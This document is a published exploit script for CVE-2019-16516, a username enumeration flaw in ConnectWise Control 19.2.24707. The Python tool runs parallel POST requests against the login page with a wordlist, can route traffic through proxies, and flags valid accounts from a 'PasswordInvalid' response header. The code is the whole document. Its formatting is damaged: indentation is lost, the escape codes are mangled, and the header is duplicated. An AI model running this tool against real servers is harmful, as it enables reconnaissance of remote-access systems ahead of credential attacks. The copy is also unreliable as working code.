# Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration
# Date: 17/12/2021
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://www.connectwise.com/
# Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration
# Date: 17/12/2021
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://www.connectwise.com/
# Version: vulnerable <= 19.2.24707
# CVE : CVE-2019-16516

# https://github.com/czz/ScreenConnect-UserEnum

from multiprocessing import Process, Queue
from statistics import mean
from urllib3 import exceptions as urlexcept
import argparse
import math
import re
import requests

class bcolors:
HEADER = '33[95m'
OKBLUE = '33[94m'
OKCYAN = '33[96m'
OKGREEN = '33[92m'
WARNING = '33[93m'
FAIL = '33[91m'
ENDC = '33[0m'
BOLD = '33[1m'
UNDERLINE = '33[4m'


headers = []

def header_function(header_line):
headers.append(header_line)


def process_enum(queue, found_queue, wordlist, url, payload, failstr, verbose, proc_id, stop, proxy):
try:
# Payload to dictionary
payload_dict = {}
for load in payload:
split_load = load.split(":")
if split_load[1] != '{USER}':
payload_dict[split_load[0]] = split_load[1]
else:
payload_dict[split_load[0]] = '{USER}'

# Enumeration
total = len(wordlist)
for counter, user in enumerate(wordlist):
user_payload = dict(payload_dict)
for key, value in user_payload.items():
if value == '{USER}':
user_payload[key] = user

dataraw = "".join(['%s=%s&' % (key, value) for (key, value) in user_payload.items()])[:-1]
headers={"Accept": "*/*" , "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}

req = requests.request('POST',url,headers=headers,data=dataraw, proxies=proxies)

x = "".join('{}: {}'.format(k, v) for k, v in req.headers.items())

if re.search(r"{}".format(failstr), str(x).replace(' ','').replace(' ','')):
queue.put((proc_id, "FOUND", user))
found_queue.put((proc_id, "FOUND", user))
if stop: break
elif verbose:
queue.put((proc_id, "TRIED", user))
queue.put(("PERCENT", proc_id, (counter/total)*100))

except (urlexcept.NewConnectionError, requests.exceptions.ConnectionError):
print("[ATTENTION] Connection error on process {}! Try lowering the amount of threads with the -c parameter.".format(proc_id))


if __name__ == "__main__":
# Arguments
parser = argparse.ArgumentParser(description="http://example.com/Login user enumeration tool")
parser.add_argument("url", help="http://example.com/Login")
parser.add_argument("wordlist", help="username wordlist")
parser.add_argument("-c", metavar="cnt", type=int, default=10, help="process (thread) count, default 10, too many processes may cause connection problems")
parser.add_argument("-v", action="store_true", help="verbose mode")
parser.add_argument("-s", action="store_true", help="stop on first user found")
parser.add_argument("-p", metavar="proxy", type=str, help="socks4/5 http/https proxy, ex: socks5://127.0.0.1:9050")
args = parser.parse_args()

# Arguments to simple variables
wordlist = args.wordlist
url = args.url
payload = ['ctl00%24Main%24userNameBox:{USER}', 'ctl00%24Main%24passwordBox:a', 'ctl00%24Main%24ctl05:Login', '__EVENTTARGET:', '__EVENTARGUMENT:', '__VIEWSTATE:']
verbose = args.v
thread_count = args.c
failstr = "PasswordInvalid"
stop = args.s
proxy= args.p

print(bcolors.HEADER + """
__ ___ __ ___
| | |__ |__ |__) |__ | | | | |/|
|__| ___| |___ | |___ | | |__| | |

ScreenConnect POC by czz78 :)

"""+ bcolors.ENDC);
print("URL: "+url)
print("Payload: "+str(payload))
print("Fail string: "+failstr)
print("Wordlist: "+wordlist)
if verbose: print("Verbose mode")
if stop: print("Will stop on first user found")

proxies = {'http': '', 'https': ''}
if proxy:
proxies = {'http': proxy, 'https': proxy}

print("Initializing processes...")
# Distribute wordlist to processes
wlfile = open(wordlist, "r", encoding="ISO-8859-1") # or utf-8
tothread = 0
wllist = [[] for i in range(thread_count)]
for user in wlfile:
wllist[tothread-1].append(user.strip())
if (tothread < thread_count-1):
tothread+=1
else:
tothread = 0

# Start processes
tries_q = Queue()
found_q = Queue()
processes = []
percentage = []
last_percentage = 0
for i in range(thread_count):
p = Process(target=process_enum, args=(tries_q, found_q, wllist[i], url, payload, failstr, verbose, i, stop, proxy))
processes.append(p)
percentage.append(0)
p.start()

print(bcolors.OKBLUE + "Processes started successfully! Enumerating." + bcolors.ENDC)
# Main process loop
initial_count = len(processes)
while True:
# Read the process output queue
try:
oldest = tries_q.get(False)
if oldest[0] == 'PERCENT':
percentage[oldest[1]] = oldest[2]
elif oldest[1] == 'FOUND':
print(bcolors.OKGREEN + "[{}] FOUND: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)
elif verbose:
print(bcolors.OKCYAN + "[{}] Tried: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)
except: pass

# Calculate completion percentage and print if /10
total_percentage = math.ceil(mean(percentage))
if total_percentage % 10 == 0 and total_percentage != last_percentage:
print("{}% complete".format(total_percentage))
last_percentage = total_percentage

# Pop dead processes
for k, p in enumerate(processes):
if p.is_alive() == False:
processes.pop(k)

# Terminate all processes if -s flag is present
if len(processes) < initial_count and stop:
for p in processes:
p.terminate()

# Print results and terminate self if finished
if len(processes) == 0:
print(bcolors.OKBLUE + "EnumUser finished, and these usernames were found:" + bcolors.ENDC)
while True:
try:
entry = found_q.get(False)
print(bcolors.OKGREEN + "[{}] FOUND: {}".format(entry[0], entry[2]) + bcolors.ENDC)
except:
break
quit()